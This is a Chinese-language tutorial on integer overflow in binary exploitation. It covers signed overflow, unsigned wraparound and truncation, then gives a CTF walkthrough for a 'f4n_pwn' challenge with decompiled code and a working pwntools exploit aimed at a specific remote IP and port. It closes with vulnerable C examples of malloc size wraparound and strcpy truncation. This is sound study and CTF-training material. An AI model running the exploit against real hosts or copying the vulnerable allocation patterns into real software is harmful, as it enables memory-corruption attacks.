什么是整数溢出
由于整数在内存里保存在一个固定长度的空间内,它能存储的最大值和最小值是固定的,如果我们尝试去存储一个数,而这个数又大于这个固定的最大值时,就会导致整数溢出
整数溢出的危害
如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出和堆溢出,而后两者都会导致任意代码执行。由于整数溢出出现之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。
整数溢出
关于整数的异常情况主要有三种:
-
溢出
- 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出
- 溢出标志
OF
可检测有符号数的溢出
-
回绕
- 无符号数
0-1
时会变成最大的数,如 1 字节的无符号数会变为 255,而 255+ 1 会变成最小数 0.f - 进位标志
CF
可检测无符号数的回绕
- 无符号数
-
截断
- 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断
常见题型
- 整数转换
- 回绕和溢出
- 截断
整数转换 — newbugku 一道整数溢出题目 f4n_pwn
main 函数
int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [esp+Ch] [ebp-1Ch]
unsigned int buf; // [esp+10h] [ebp-18h]
int v6; // [esp+14h] [ebp-14h]
int fd; // [esp+18h] [ebp-10h]
int i; // [esp+1Ch] [ebp-Ch]
setvbuf(stdout, 0, 2, 0);
puts("###### Welecome to ctf game ######\ninput your name length :");
read_name();
puts("let's begin guess num game ");
fd = open("/dev/urandom", 0);
if (fd < 0 || read(fd, &buf, 4u) < 0 )
{puts("error");
exit(0);
}
close(fd);
srand(buf);
for (i = 0; i <= 9; ++i)
{v6 = rand() % 9 + 3;
printf("Round %d , please guess the num : \n", i);
fflush(stdout);
fflush(stdin);
__isoc99_scanf("%d", &v4);
if (v4 != v6)
{printf("you fail");
exit(0);
}
}
printf("u are great! this is your flag");
getflag();
return 0;
}
猜测随机数可得 flag,hhh
漏洞函数 read_name()
int read_name()
{char s[80]; // [esp+8h] [ebp-60h]
unsigned int v2; // [esp+58h] [ebp-10h]
unsigned int i; // [esp+5Ch] [ebp-Ch]
memset(s, 0, 0x50u);
__isoc99_scanf("%ld", &v2);
if ((signed int)v2 > 48 )
{puts("too long!!! u are a hacker!!!");
exit(0);
}
puts("please tell me your name :");
fflush(stdout);
fflush(stdin);
for (i = 0; i < v2; ++i)
{read(0, &s[i], 1u);
if (s[i] == 10 )
{s[i] = 0;
return printf("helllo %s\n", s);
}
}
return printf("helllo %s\n", s);
}
看到这里想到利用数组 s 覆盖返回地址,控制程序跳转到 getflag()函数
利用过程
- 控制 v2 足够大, 利用有符号数向无符号数的转换
- 覆盖栈空间时,控制 i 的值
- 覆盖返回地址 getflag
from pwn import *
p = remote("114.116.54.89",10011)
p.recvuntil("input your name length : \n")
p.sendline("-1")
payload = 'a'*(0x60-0xc) + 'c' + p32(0x080486BB)
p.recvuntil("please tell me your name : \n")
p.sendline(payload)
p.interactive()
回绕和溢出
void vulnerable() {
size_t len;
// int len;
char* buf;
len = read_int_from_network();
buf = malloc(len + 5);
read(fd, buf, len);
...
}
这个例子看似避开了缓冲区溢出的问题,但是如果 len 过大,len+5 有可能发生回绕。比如说,在 x86-32 上,如果 len = 0xFFFFFFFF,则 len+5 = 0x00000004,这时 malloc() 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 len 声明为有符号 int 类型,len+5 可能发生溢出)
截断
void main(int argc, char *argv[]) {
unsigned short int total;
total = strlen(argv[1]) + strlen(argv[2]) + 1;
char *buf = (char *)malloc(total);
strcpy(buf, argv[1]);
strcat(buf, argv[2]);
...
}
这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 total 表示,则会发生截断,从而导致后面的缓冲区溢出。
参考
ctf-all-in-one